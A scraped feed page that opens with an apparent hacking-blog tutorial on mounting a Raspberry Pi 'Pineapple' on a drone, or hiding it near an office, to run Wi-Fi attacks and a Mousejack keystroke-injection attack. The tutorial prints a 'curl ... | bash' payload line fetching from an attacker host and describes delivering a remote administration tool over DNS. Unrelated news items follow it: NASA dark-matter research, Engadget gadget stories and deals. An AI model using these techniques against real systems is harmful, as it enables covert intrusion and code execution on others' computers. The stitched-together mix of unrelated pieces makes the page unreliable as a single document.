Welcome back, aspiring drone cyberwarriors! 

We continue our series of articles on Drone Hacking. In previous parts, we discussed drones as platforms and delivery mechanisms. Now it is time to take a closer look at the attacking component itself. This is where many people misunderstand the threat. For a hacker, a drone is not a weapon. A drone is merely transportation. It is the deliverer, not the attacker. In reality, almost all wireless attacks are carried out using a small, miniature device attached to the drone. This device performs the scanning, interception, impersonation, and exploitation of wireless protocols. One such device is a Pineapple built on a Raspberry Pi, which we will show today how to build. Its compact size allows it to be mounted on almost any drone, because it is lightweight and consumes little power. In fact, this same device does not even require a drone at all. It can be used independently. A hacker can quietly plant such a device near a target building, drop it into grass or bushes near an office, or hide it in everyday infrastructure. OTW has already explained how it was done in Mr.Robot

Many readers will remember the scene from the TV series where a Raspberry Pi is hidden inside a thermostat. That scene is not science fiction. It is a very realistic example of how such hardware can be deployed. In a separate article we will show you how our device operates when used independently without a drone.

Raspberry Pi Pineapple

Now, let’s talk about our new device. The total weight of the homemade Pineapple together with its battery ranges from only 17 to 43 grams, depending on the battery used. Modern consumer drones are designed with power reserves to compensate for wind and to carry accessories such as action cameras. As a result, they can typically lift between one-third and one-half of their own weight without a noticeable loss of flight performance.

This means that almost any drone, including very small selfie drones, can easily handle such a payload. This is a significant advantage compared to the bulky, ready-made Pineapple device from Hak5. Not every drone can lift that commercial unit. From an attacker’s perspective, speed is often the most important requirement when planning drone-based attacks. Fast deployment, short exposure time, and rapid exit are key.

In a separate article dedicated specifically to the Pineapple platform, we will examine static attacks on wireless networks. These are attacks where long-term presence at a fixed point is required. When a drone is involved, however, it makes far more sense to perform dynamic attacks. Wireless attacks are highly dependent on circumstances, such as whether client devices are present and active at a given moment. Because of this, the duration of exposure directly affects the probability of success. From a practical standpoint, the choice is obvious. If the device is lost, the hacker simply purchases another Raspberry Pi and flashes a prepared image onto a memory card. There is no need to buy a costly ready-made solution and wait for delivery. 

The Raspberry Pi, like most other single-board computers, can operate at reduced voltage, which makes it possible to use popular compact 3.7 V batteries. Such batteries are cheaper and smaller than power banks and can be easily purchased online. They are charged with 5 V, which can be taken from any USB port. However, despite the fact that the Raspberry Pi can operate at 3.3 V, external USB devices do not receive the 5 V promised by the USB standard in this case. Therefore, if such external USB devices are planned to be used, the voltage must still be raised to 5 V using the popular DC-DC MT3608 module (the blue module on top).

A 3.7 V battery, located at the bottom, supplies 5 V to GPIO pins 2 and 9 through the MT3608 DC-DC boost converter. An external Micro-USB connector is also soldered to the converter for convenient battery charging, along with a power toggle switch for battery supply. Nevertheless, the Raspberry Pi has two native USB ports, which means there is always the option to use a regular power bank. The wiring diagram for LEDs, switches, and power connections is shown below.

Using a display can be wasteful in terms of battery consumption, so it is better to use three LEDs to indicate the process. To automatically start predefined scenarios, six jumper positions are used. Their software handling is described below. Two voltage supply points are also provided: 5 volts and 3.3 volts. Pins 8 and 10 serve an additional purpose. Using a UART adapter, an operator can always open a shell on the Pineapple device for debugging or control.

Now we arrive at one of the most important components. It’s the Wi-Fi adapter. Monitor mode is not available out of the box on the Raspberry Pi’s built-in Wi-Fi card. It can be enabled using special firmware, but this requires building and installing a new kernel.

Pi > wget -O re4son-kernel_current.tar.xz https://re4son-kernel.com/download/re4son-kernel-current/
Pi > tar -xJf re4son-kernel_current.tar.xz
Pi > cd re4son-kernel_4*
Pi > sudo ./install.sh

After installation, an additional firmware file for the Wi-Fi chip appears. This file enables monitor mode functionality.

Pi > md5sum /lib/firmware/brcm/brcmfmac43430-sdio.*

bae7f1ba1b64cb19bb0c5433a3940405 /lib/firmware/brcm/brcmfmac43430-sdio.bin.monitor
54f6af2776997cb1ee06edf2b93ab815 /lib/firmware/brcm/brcmfmac43430-sdio.bin.original

To switch between firmware versions, the driver can be reloaded and the firmware file renamed.

Pi > iw phy0 interface add mon0 type monitor
Pi > ifconfig mon0 up
Pi > airodump-ng mon0

At this point, the device can autonomously perform many of the most common Wi-Fi attacks. If necessary, external Wi-Fi adapters and directional antennas can be used, although this reduces stealth and increases detectability. 

Because this configuration may shut down improperly when the battery is depleted, it is recommended to disable disk caching to prevent data loss.

/etc/fstab
PARTUUID=067e19d7-02 / ext4 defaults,noatime,sync 0 1

In some scenarios, the hacker needs attacks to start immediately upon power-up. This is achieved using GPIO jumpers. Jumper positions are read in software using the following script.

/etc/local/bin/jmp

#!/bin/bash
exit $(raspi-gpio get $1 | awk '{print $3}' | cut -d '=' -f )

By setting a jumper position before powering on the device, the hacker selects which attack scenario to launch, such as an Evil Twin or mass deauthentication and handshake capture. The logic for this selection is implemented in the startup script.

A startup.sh file is created in /home/pi

You can find this script on our GitHub

Then you need to add the following entry to /etc/rc.local:

/bin/bash /home/pi/startup.sh &

This will launch the script automatically. Attack progress and results are stored on the device’s memory card. Filenames reflect the attack type, date, and time. With the platform established, we now move on to the first most critical attacks that can be carried out using a drone.

Mousejack

There is a widespread vulnerability that has persisted for decades in hundreds of thousands of wireless mice and keyboards. It gives you a remote code execution in one to two seconds. Quite a cinematic scene. This vulnerability is known as Mousejack. An attack on wireless HID devices is perhaps the most visually striking and dangerous attack possible. With minimal effort and no user interaction, a hacker can remotely send arbitrary keystrokes. This means arbitrary code execution. No password guessing. No social engineering. Instant RCE. Below is the part of our startup.sh code that starts this attack.

The attack is performed using a CrazyRadio PA device in combination with a single-board computer such as a Raspberry Pi or a Pineapple. If the CrazyRadio PA dongle is inserted into the Pineapple, the attack can be launched automatically at startup, once you add mousejack.sh to the mousejack directory. We have it here. You will also need to install jackit, which you can find here

Because we don’t know the addresses of target devices, we attack everything detected in the radio spectrum. This is why the –autopwn flag is used. Combined with a Pineapple, CrazyRadio becomes an extremely dangerous tool.

A drone carrying such a device can breach the perimeter of almost any organization. While flying, it attacks all vulnerable devices within range. Mousejack exploitation is similar to BadUSB-HID attacks. Here we encounter the same problems when typing commands: when using keystrokes, we have to guess the keyboard layout. Also, when using ALT codes to type commands (possible only on Windows), we have to guess the state of the Num Lock key. In both cases, to be reliable, we have to send the keystrokes twice, changing either the layout or the Num Lock state. But in the case of ALT codes, three to four times more keystrokes are required. And if there is no difference in outcome, why transmit more? It is more rational here to use the simple method of sending direct key presses rather than their codes. That’s why ducky.txt is used

Find it and place it in /home/pi/mousejack/. Depending on your language preferences, you might need to modify the file.

Longer commands increase the chance of interference. A single dropped keystroke can break the exploit. On Unix-like systems, hackers often rely on short commands such as:

curl -L http://rce.attacker.tk/1.sh | bash

At this stage, success depends only on drone positioning and the presence of wireless mice within a radius of approximately 10-15 meters. This attack looks exactly like it does in movies. Imagine working in a secure building, far from checkpoints, when a drone briefly appears outside a window. In a single second, malicious code is executed on your computer. You may never associate that moment with the compromise.

Wireless mice and keyboards are especially common among IT staff and executives, making such attacks disproportionately valuable. Once a single internal machine is compromised, the perimeter is breached.

Even when direct internet access is blocked, DNS-based exfiltration often remains possible. DNS can be used to download payloads and maintain command-and-control channels. Implementing the download of a malicious program over DNS can be done using basic tools of any operating system. For example, on Windows, the most portable method is a VBS script written in a full-fledged interpreted programming language. However, the length of the command entered into the “Run” window is limited, and to type a VBS script that downloads a remote administration tool over DNS, the hacker will need at least three commands. For this you will need a file that you can find here

When these commands are executed, three DNS callbacks should arrive at the hacker’s server, indicating that the commands were entered successfully.

Summary

This is only our first example that demonstrates how easily organizations can be compromised if you find the right computer. If you plan to use it, do it responsibly. Despite being known since 2016, Mousejack remains widespread and underestimated. Because it is a hardware flaw, it persists for years. People replace phones frequently, but they rarely replace their mice. 

In Part 4 you will see more of these attacks and the needed scripts for them.

For those of you getting started with Software-Defined Radio (SDR) or looking to advance your SDR hacking skills, we offer a structured training program that guides you from the fundamentals of SDR all the way to advanced, real-world applications in cybersecurity and signals intelligence.

With the Webb telescope’s unprecedented sensitivity, scientists are learning more about dark matter’s influence on stars, galaxies, and even planets like Earth.

Scientists using data from NASA’s James Webb Space Telescope have made one of the most detailed, high-resolution maps of dark matter ever produced. It shows how the invisible, ghostly material overlaps and intertwines with “regular” matter, the stuff that makes up stars, galaxies, and everything we can see.

Published Monday, Jan. 26, in Nature Astronomy, the map builds on previous research to provide additional confirmation and new details about how dark matter has shaped the universe on the largest scales — galaxy clusters millions of light-years across — that ultimately give rise to galaxies, stars, and planets like Earth.

“This is the largest dark matter map we’ve made with Webb, and it’s twice as sharp as any dark matter map made by other observatories,” said Diana Scognamiglio, lead author of the paper and an astrophysicist at NASA’s Jet Propulsion Laboratory in Southern California. “Previously, we were looking at a blurry picture of dark matter. Now we’re seeing the invisible scaffolding of the universe in stunning detail, thanks to Webb’s incredible resolution.”

Dark matter doesn’t emit, reflect, absorb, or even block light, and it passes through regular matter like a ghost. But it does interact with the universe through gravity, something the map shows with a new level of clarity. Evidence for this interaction lies in the degree of overlap between dark matter and regular matter. According to the paper’s authors, Webb’s observations confirm that this close alignment can’t be a coincidence but, rather, is due to dark matter’s gravity pulling regular matter toward it throughout cosmic history.

“Wherever we see a big cluster of thousands of galaxies, we also see an equally massive amount of dark matter in the same place. And when we see a thin string of regular matter connecting two of those clusters, we see a string of dark matter as well,” said Richard Massey, an astrophysicist at Durham University in the United Kingdom and a coauthor of the new study. “It’s not just that they have the same shapes. This map shows us that dark matter and regular matter have always been in the same place. They grew up together.”

Closer look

Found in the constellation Sextans, the area covered by the new map is a section of sky about 2.5 times larger than the full Moon. A global community of scientists have observed this region with at least 15 ground- and space-based telescopes for the Cosmic Evolution Survey (COSMOS). Their goal: to precisely measure the location of regular matter here and then compare it to the location of dark matter. The first dark matter map of the area was made in 2007 using data from NASA’s Hubble Space Telescope, a project led by Massey and JPL astrophysicist Jason Rhodes, a coauthor of the paper.

Webb peered at this region for a total of about 255 hours and identified nearly 800,000 galaxies, some of which were detected for the first time. Scognamiglio and her colleagues then looked for dark matter by observing how its mass curves space itself, which in turn bends the light traveling to Earth from distant galaxies. When observed by researchers, it’s as if the light of those galaxies has passed through a warped windowpane.

The Webb map contains about 10 times more galaxies than maps of the area made by ground-based observatories and twice as many as Hubble’s. It reveals new clumps of dark matter and captures a higher-resolution view of the areas previously seen by Hubble.

To refine measurements of the distance to many galaxies for the map, the team used Webb’s Mid-Infrared Instrument (MIRI), designed and managed through launch by JPL, along with other space- and ground-based telescopes. The wavelengths that MIRI detects also make it adept at detecting galaxies obscured by cosmic dust clouds.

Why it matters

When the universe began, regular matter and dark matter were probably sparsely distributed. Scientists think dark matter began to clump together first and that those dark matter clumps then pulled together regular matter, creating regions with enough material for stars and galaxies to begin to form.

In this way, dark matter determined the large-scale distribution of galaxies in the universe. And by prompting galaxy and star formation to begin earlier than they would have otherwise, dark matter’s influence also played a role in creating the conditions for planets to eventually form. That’s because the first generations of stars were responsible for turning hydrogen and helium — which made up the vast majority of atoms in the early universe — into the rich array of elements that now compose planets like Earth. In other words, dark matter provided more time for complex planets to form.

“This map provides stronger evidence that without dark matter, we might not have the elements in our galaxy that allowed life to appear,” said Rhodes. “Dark matter is not something we encounter in our everyday life on Earth, or even in our solar system, but it has definitely influenced us.”

Scognamiglio and some of her coauthors will also map dark matter with NASA’s upcoming Nancy Grace Roman Space Telescope over an area 4,400 times bigger than the COSMOS region. Roman’s primary science goals include learning more about dark matter’s fundamental properties and how they may or may not have changed over cosmic history. But Roman’s maps won’t beat Webb’s spatial resolution. More detailed looks at dark matter will be possible only with a next-generation telescope like the Habitable Worlds Observatory, NASA’s next astrophysics flagship concept.

More about Webb

The James Webb Space Telescope is solving mysteries in our solar system, looking beyond to distant worlds around other stars, and probing the mysterious structures and origins of our universe and our place in it. Webb is an international program led by NASA with its partners, ESA (European Space Agency) and CSA (Canadian Space Agency).

To learn more about Webb, visit:

https://science.nasa.gov/webb

Media Contacts

Calla Cofield / Ian O’Neill
Jet Propulsion Laboratory, Pasadena, Calif.
626-808-2469 / 818-354-2649
calla.e.cofield@jpl.nasa.gov / ian.j.oneill@jpl.nasa.gov

2026-002

Register now to save up to $680 on your TechCrunch Disrupt 2026 pass and get a +1 ticket at 50% off. Offer ends this Friday, January 30.

Apple has launched its next-generation AirTag for $29 and brought a slew of new features along with it. But, first, it's important to get this out of the way: The new AirTag still doesn't have a keyring hole, so you'll still need a case or secure pocket.

Once you get over that, the new Apple AirTag does offer some nice improvements. For starters, it's now powered by Apple's second-generation Ultra Wideband chip — the same one used in the iPhone 17 lineup and for the Apple Watch Ultra 3. It also uses Precision Finding to reach items up to 50 percent further away than the previous AirTag model. This feature will now work with any Apple Watch Series 9, Ultra 2 or a later iteration of either. 

The new AirTag is also 50 percent louder than before and has what Apple calls a "distinctive new chime." It still uses the Find My network to bounce off other Bluetooth users and locate the AirTag. 

Apple

Launched in 2021, Apple's AirTag has long stood as our favorite Bluetooth tracker for iPhones. It's convenience within the Find My app is a big help and almost makes up for the fact that it doesn't have a key ring — almost. 

This article originally appeared on Engadget at https://www.engadget.com/wearables/apples-new-airtag-still-doesnt-have-a-keyring-hole-150540254.html?src=rss

©

© Apple

An origami-inspired haptic ring for VR called OriRing weighs 18 grams and can push back with up to 6.5 N. It senses pressing and sliding forces to render size and stiffness, but it’s still a prototype.

The post This 18-gram haptic ring for VR lets your finger feel virtual objects appeared first on Digital Trends.

It's that time of year where a great pair of headphones double as earmuffs and a current sale will ensure you get a great quality — and good looking — option. One of our favorite wireless headphones for 2026 is available for 35 percent off. 

Amazon is offering the first-generation Bose QuietComfort Ultra Bluetooth Headphones for $279, down from $429. Since coming out last April, they've become our choice for best noise-canceling wireless headphones. Notably, the sale is only available in the headphone's nice limited edition Deep Plum model. 

We gave the Bose QuietComfort Ultra headphones an 86 in our review, thanks, in part, to their incredible active-noise cancellation (ANC) — an industry-lead Bose has held for years. They also offers improved audio, producing a warmer and clearer sound than other Bose headphones. Plus, they live up to their name, remaining comfortable even after hours and hours thanks to cushioning inside the headband and earpads. 

Follow @EngadgetDeals on X for the latest tech deals and buying advice.

This article originally appeared on Engadget at https://www.engadget.com/deals/the-bose-quietcomfort-ultra-headphones-are-35-percent-off-130020033.html?src=rss

©

© Photo by Billy Steele/Engadget

Hello aspiring Cyber Forensic Investigators. In our previous blogpost, you learnt in detail about Computer Forensics. In this article, you will learn about Bulk Extractor, a fast, automated forensic carving tool. Digital forensic investigations often require extracting useful information from massive amounts of data like disk images, memory dumps, captured network traffic and more. Manually […]

The post Beginners Guide to Bulk Extractor tool appeared first on Hackercool Magazine.

10 years after disrupting the Ukrainian power grid, the APT targeted Poland with data-wiping malware.

The post Russian Sandworm Hackers Blamed for Cyberattack on Polish Power Grid appeared first on SecurityWeek.

Microsoft issued another out-of-band update to fix a bug that caused Outlook to crash for Windows 11 users. This second emergency patch addresses issues seen with Outlook and files stored in the cloud following Microsoft's January 2026 Windows security update.

According to Microsoft, this update fixes a bug where some apps that "open or save files stored in cloud-backed locations" became unresponsive or displayed error messages. Some users also experienced Outlook crashing or not opening when PST files are stored in cloud-based options like OneDrive.

This is the second time this year that Microsoft had to issue a last-minute fix for bugs related to its January security update. Last week, some Windows 11 devices couldn't shut down or hibernate, while other devices running Windows 10 or 11 couldn't log in through remote connections. For more context, Microsoft only issues out-of-band updates when there's a serious issue that can't wait until its regular update cycle. Fortunately, the latest out-of-band update is cumulative, so you only need to download and install this one to fix the issues seen with the January update.

This article originally appeared on Engadget at https://www.engadget.com/computing/microsoft-releases-second-emergency-windows-11-update-to-fix-outlook-crashes-192012812.html?src=rss

©

© Microsoft

Democratic lawmakers have few options that wouldn’t trigger something like civil war.

Setting up access to a headless Raspberry Pi is one of those tasks that should take a few minutes, but for some reason always seems to take much longer. The most common method is to configure Wi-Fi access and an SSH service on the Pi before starting it, which can go wrong in many different ways. This author, for example, recently spent a few hours failing to set up a headless Pi on a network secured with Protected EAP, and was eventually driven to using SSH over Bluetooth. This could thankfully soon be a thing of the past, as [Paul Oberosler] developed a package for SSH over USB, which is included in the latest versions of Raspberry Pi OS.

The idea behind rpi-usb-gadget is that a Raspberry Pi in gadget mode can be plugged into a host machine, which recognizes it as a network adapter. The Pi itself is presented as a host on that network, and the host machine can then SSH into it. Additionally, using Internet Connection Sharing (ICS), the Pi can use the host machine’s internet access. Gadget mode can be enabled and configured from the Raspberry Pi Imager. Setting up ICS is less plug-and-play, since an extra driver needs to be installed on Windows machines. Enabling gadget mode only lets the selected USB port work as a power input and USB network port, not as a host port for other peripherals.

An older way to get USB terminal access is using OTG mode, which we’ve seen used to simplify the configuration of a Pi as a simultaneous AP and client. If you want to set up headless access to Raspberry Pi desktop, we have a guide for that.

Thanks to [Gregg Levine] for the tip!

A new and improved Siri may finally make an appearance, but this time, it could be with a Google Gemini glow up. According to Bloomberg's Mark Gurman, Apple wants to announce a new Siri in "the second half of February" that will show off the results of its recently announced partnership with Google and offer demonstrations of the Gemini-powered capabilities.

After this reveal, Gurman reported that the new Siri will make its way to iOS 26.4, which is also slated to enter beta testing in February before its public release in March or early April. Apple has been meaning to launch its next-gen Siri ever since its announcement at WWDC 2024, but now we know that this Gemini-powered Siri will behave more like an AI chatbot, similar to OpenAI's ChatGPT, thanks to another Bloomberg report from last week. 

Following the reported demo that's scheduled for late February, Gurman said Apple will have a grand reveal of the new Siri, which is currently codenamed Campos, at its annual developer conference in the summer. After that, the latest Siri and the accompanying Gemini-powered Apple Intelligence features are expected to arrive with iOS 27, iPadOS 27 and macOS 27, which are expected to be available as beta releases in the summer.

This article originally appeared on Engadget at https://www.engadget.com/ai/apple-reportedly-plans-to-reveal-its-gemini-powered-siri-in-february-174356923.html?src=rss

©

© Apple

Within minutes of the shooting, the Trump administration and right-wing influencers began disparaging the man shot by a federal immigration officer on Saturday in Minneapolis.

Graphene is the thinnest material yet known, composed of a single layer of carbon atoms arranged in a hexagonal lattice. That structure gives it many unusual properties that hold great promise for real-world applications: batteries, super capacitors, antennas, water filters, transistors, solar cells, and touchscreens, just to name a few. The physicists who first synthesized graphene in the lab won the 2010 Nobel Prize in Physics. But 19th century inventor Thomas Edison may have unknowingly created graphene as a byproduct of his original experiments on incandescent bulbs over a century earlier, according to a new paper published in the journal ACS Nano.

“To reproduce what Thomas Edison did, with the tools and knowledge we have now, is very exciting,” said co-author James Tour, a chemist at Rice University. “Finding that he could have produced graphene inspires curiosity about what other information lies buried in historical experiments. What questions would our scientific forefathers ask if they could join us in the lab today? What questions can we answer when we revisit their work through a modern lens?”

Edison didn't invent the concept of incandescent lamps; there were several versions predating his efforts. However, they generally had a very short life span and required high electric current, so they weren't well suited to Edison's vision of large-scale commercialization. He experimented with different filament materials starting with carbonized cardboard and compressed lampblack. This, too, quickly burnt out, as did filaments made with various grasses and canes, like hemp and palmetto. Eventually Edison discovered that carbonized bamboo made for the best filament, with life spans over 1,200 hours using a 110 volt power source.

Read full article

Comments

© Public domain

Google has started rolling out a new feature for its Photos app that can turn your images into memes. The feature, called Me Meme, uses Google Gemini to take meme templates and recreate them with the photo you use from within the app. It’s still in its experimental stages and will only be available for users in the US in the English language. In addition, it seems to be rolling out for Android users only at the moment, and Google warns that the generated images may not match the original photo at times. If you do get access to the feature soon, check out the instructions below on how to use it.

1. Open your Photos app. Go to the Create tab at the bottom and find the Me Meme option. If it’s not showing up even though you’re an Android user in the US, you’ll have to wait for it as it continues rolling out. Google told TechCrunch that it will reach iOS users over the coming weeks.

2. You’ll see onscreen instructions the first time you use it. The next time you access the feature, you’ll go straight to the meme creation process.

3. You can browse and choose one of the preset templates Google provides, but you can also upload a meme or any other image as a template.

4. You then have to upload a photo that you want to insert into the meme. Google advises using a selfie or a photo where your face is clearly visible.

5. After you tap Generate, you can save the meme if you’re satisfied with the result or share it directly to social media platforms online. You can also tap Regenerate to see a different output.

Android Authority spotted the feature in October 2025 and was able to try it out before its limited release. You can see an example of Me Meme’s output below.

This article originally appeared on Engadget at https://www.engadget.com/ai/how-to-use-google-photos-new-me-meme-feature-140000157.html?src=rss

©

Apple’s iOS 26 and watchOS 26 introduced a new fitness companion called Workout Buddy. This feature uses Apple Intelligence to provide spoken feedback during workouts and give motivation based on your activity history. Workout Buddy analyzes your pace, heart rate, distance and other metrics to deliver real-time encouragement and performance insights directly through connected Bluetooth headphones. It works in conjunction with the Workout app on Apple Watch and is partially controlled through the Fitness app on iPhone. This guide walks you through everything needed to set up and use Workout Buddy effectively during workouts.

What Workout Buddy does

It’s important to note that Workout Buddy is not a full coaching program. Instead, it adds to your workout with spoken cues that reflect how your session is going. Workout Buddy can remind you of your weekly activity totals, alert you to personal bests or performance milestones and provide an overview when you’re finished. It is designed to feel like a supportive training partner rather than a strict coach.

The feature operates in English by default and uses a text-to-speech model trained on voices from Apple Fitness+ trainers. It is available for a subset of workout types, including running, walking, cycling, high-intensity interval training (HIIT) and strength training. It requires on-device Apple Intelligence, which means you’ll need to keep one of the latest iPhones running updated software nearby during workouts. 

Supported models include iPhone 15 Pro, iPhone 15 Pro Max and any iPhone 16 model. You’ll also need an Apple Watch running watchOS 26.  

Requirements before you begin

Before Workout Buddy appears in your Fitness app or Workout app you must ensure a few things are in place. First, your Apple Watch must be running watchOS 26 or later and paired to an iPhone with iOS 26 installed. Second, your iPhone must be capable of on-device Apple Intelligence, meaning you must own one of the supported iPhone models we mentioned above and have Apple Intelligence enabled in the phone’s settings.

You’ll also need Bluetooth headphones paired with either your iPhone or your Apple Watch. Workout Buddy’s audio feedback cannot play through the watch speaker so headphones are essential. Lastly, your device language must be set to English, at least initially. If any of these things are missing, the option to enable Workout Buddy may not appear.

How to turn on Workout Buddy from iPhone

While much of the interaction with Workout Buddy happens on Apple Watch during workouts, you can enable it and choose voice options from the Fitness app on iPhone.

Open the Fitness app on your iPhone and tap the Workout tab at the bottom. Scroll through the list of workout types until you find one you plan to use with Workout Buddy. Tap the waveform bubble icon associated with that workout. This will bring up settings where you can turn on Workout Buddy. Flip the toggle to enable it and choose a voice from the available options. Once you have selected a voice, close that screen and your choice is saved. When you start this workout type on Apple Watch, Workout Buddy will activate.

Enabling Workout Buddy for a workout type on iPhone means you do not need to toggle it on separately on Apple Watch each time for that specific workout. However, you may still adjust it from the watch interface for more granular control.

How to turn on Workout Buddy on Apple Watch

To use Workout Buddy during a session, open the Workout app on your Apple Watch. Turn the Digital Crown to scroll through and select the workout you want to do, such as Outdoor Run, Outdoor Walk, Outdoor Cycle, HIIT or Strength Training. If you want to see all available workouts, tap the Add button at the bottom.

Once the workout type is selected, look for the Alerts button on screen. Tap Alerts then scroll until you see Workout Buddy. Tap Workout Buddy and flip the switch to on. You will then be asked to choose a voice if one is not already selected on your iPhone. After selecting the voice, return to the previous screen and tap Start. Workout Buddy will begin working as soon as the workout does.

Using Workout Buddy during a workout

Once you start an exercise on your Watch or iPhone, Workout Buddy will speak to you through your connected headphones. The feedback is designed to be encouraging and relevant to your pace, performance or milestones. It may mention your current progress toward activity goals, pace, splits, personal bests or other highlights from your fitness data. At the end of your session Workout Buddy will offer a summary of key metrics like duration distance and calorie burn.

While a workout is active, you can temporarily mute the audio if you need silence. On Apple Watch during the session, swipe right to reveal controls then tap Mute. This pauses Workout Buddy’s spoken commentary without disabling the feature entirely.

Customizing and managing Workout Buddy settings

Workout Buddy is enabled on a per-workout-type basis. If you prefer voice feedback for running but silence for strength training, you can enable it for one and leave it off for the other. The Fitness app on iPhone allows you to set a default voice preference for each workout type. On Apple Watch you can quickly toggle the feature on or off before starting a session.

If Workout Buddy does not appear as an option for a particular workout type, you may need to check compatibility. Apple’s documentation indicates that only certain types* are supported initially and that the option will not appear for unsupported workouts.

*Apple Watch SE (2nd generation), Apple Watch SE 3, Apple Watch Series 6, Apple Watch Series 7, Apple Watch Series 8, Apple Watch Series 9, Apple Watch Series 10, Apple Watch Series 11, Apple Watch Ultra, Apple Watch Ultra 2, Apple Watch Ultra 3

Troubleshooting common issues

If Workout Buddy fails to activate make sure your devices meet the requirements outlined above. Confirm that your iPhone with Apple Intelligence is nearby and that Bluetooth headphones are connected. If audio feedback is missing, ensure headphones are paired correctly and that the language is set to English. Some users have reported that if the headphones are paired only to the Watch rather than the iPhone, it can interfere with feedback. Switching to the iPhone often resolves that issue.

For workout types where Workout Buddy previously worked but suddenly does not appear, you may try toggling the feature off and on again in the Fitness app or rebooting both devices. In rare cases removing and re-adding the workout type on Apple Watch can refresh the settings.

This article originally appeared on Engadget at https://www.engadget.com/wearables/how-to-use-workout-buddy-with-apple-watch-and-ios-26-130000922.html?src=rss

©

Our reviews team is rested up after the CES grind and we’re back to business. This week we reviewed the latest devices from Valerion, Canon, Samsung and Sony, covering a wide range of product categories in the process. Grab yourself a beverage and cozy up with all the reviews you might’ve missed.

Valerion VisionMaster Max

The weeks leading up to the Super Bowl are a popular time to upgrade home theater setups before the big game. One way to do that is Valerion’s VisionMaster Max — if you’re willing to splurge. “The Valerion VisionMaster Max is a highly capable indoor projector that offers the best image quality I’ve seen thanks to the dynamic iris and Enhanced Black Level features,” contributing reporter Steve Dent discovered. “However, it’s also a lot more expensive than rival models at $5,000. It’s pretty hard to justify that extra money, unless you’re really fussy about picture accuracy and gaming performance, or need other features like the 1Gbps ethernet port.”

Canon EOS R6 III

If you’re primarily shooting video these days, contributing reporter Steve Dent just wrapped up testing with the Canon EOS R6 III. While he said it’s great for video, the photo quality isn’t the absolute best you can get right now. “If it’s mainly photography you’re interested in, though, Sony’s $2,900 A7 V is a better choice,” he said. “It matches the R6 III’s resolution, price and autofocus but offers superior dynamic range and lower rolling shutter distortion.”

Samsung Bespoke Fridge with AI

We don’t often review appliances here at Engadget, but Samsung’s AI-infused refrigerator caught the attention of senior reporter Sam Rutherford. You may not think you need a 32-inch display in your kitchen or cameras in your fridge, but Sam argues once you try them you may never go back. “You may not agree or want to pay this much for features like this just yet, but Samsung's Bespoke AI 4-Door French Door refrigerator has convinced me there's a happy home for smarter iceboxes,” he concluded.

Sony LinkBuds Clip

Clip-on earbuds have been constantly popping up over the last few years. Many of the key players in headphones have tried their hand at the open-wear form factor with Sony being the latest to jump on board. While the company embraces the inherent perks of these designs, the LinkBuds Clip doesn’t do enough to rise above the competition. “Subpar bass performance and the omission of some of Sony’s more attractive features (and even some basic ones) mean the company hasn’t done enough to distinguish the Clip from the competition in an obvious way,” I wrote.

This article originally appeared on Engadget at https://www.engadget.com/engadget-review-recap-valerion-visionmaster-max-canon-eos-r6-iii-and-samsung-bespoke-fridge-123000849.html?src=rss

©

On this episode of Uncanny Valley, our hosts unpack the news from Davos, where Trump and major AI companies shared the stage at the World Economic Forum.

Meta is being sued by Solos, a rival smart glasses maker, for infringing on its patents, Bloomberg reports. Solos is seeking "multiple billions of dollars" in damages and an injunction that could prevent Meta from selling its Ray-Ban Meta smart glasses as part of the lawsuit.

Solos claims that Meta's Ray-Ban Meta Wayfarer Gen 1 smart glasses violate multiple patents covering "core technologies in the field of smart eyewear." While less well known than Meta and its partner EssilorLuxottica, Solos sells multiple pairs of glasses with similar features to what Meta offers. For example, the company's AirGo A5 glasses lets you control music playback and automatically translate speech into different languages, and integrates ChatGPT for answering questions and searching the web.

Beyond the product similarities, Solos claims that Meta was able to copy its patents because Oakley (an EssilorLuxottica subsidiary) and Meta employees had insights into the company's products and road map. Solos says that in 2015, Oakley employees were introduced to the company's smart glasses tech, and were even given a pair of Solos glasses for testing in 2019. Solos also says that a MIT Sloan Fellow who researched the company's products and later became a product manager at Meta, brought knowledge of the company to her role. According to the logic of Solos' lawsuit, by the time Meta and EssilorLuxottica were selling their own smart glasses, "both sides had accumulated years of direct, senior-level and increasingly detailed knowledge of Solos' smart glasses technology."

Engadget has asked both Meta and EssilorLuxottica to comment on Solos' claims. We'll update this article if we hear back.

While fewer people own Ray-Ban Meta smart glasses than use Instagram, Meta considers the wearable one of its few hardware success stories. The company is so convinced it can make smart glasses happen that it recently restructured its Reality Labs division to focus on AI hardware like smart glasses and hopefully build on its success.

This article originally appeared on Engadget at https://www.engadget.com/wearables/a-rival-smart-glasses-company-is-suing-meta-over-its-ray-ban-products-205000997.html?src=rss

©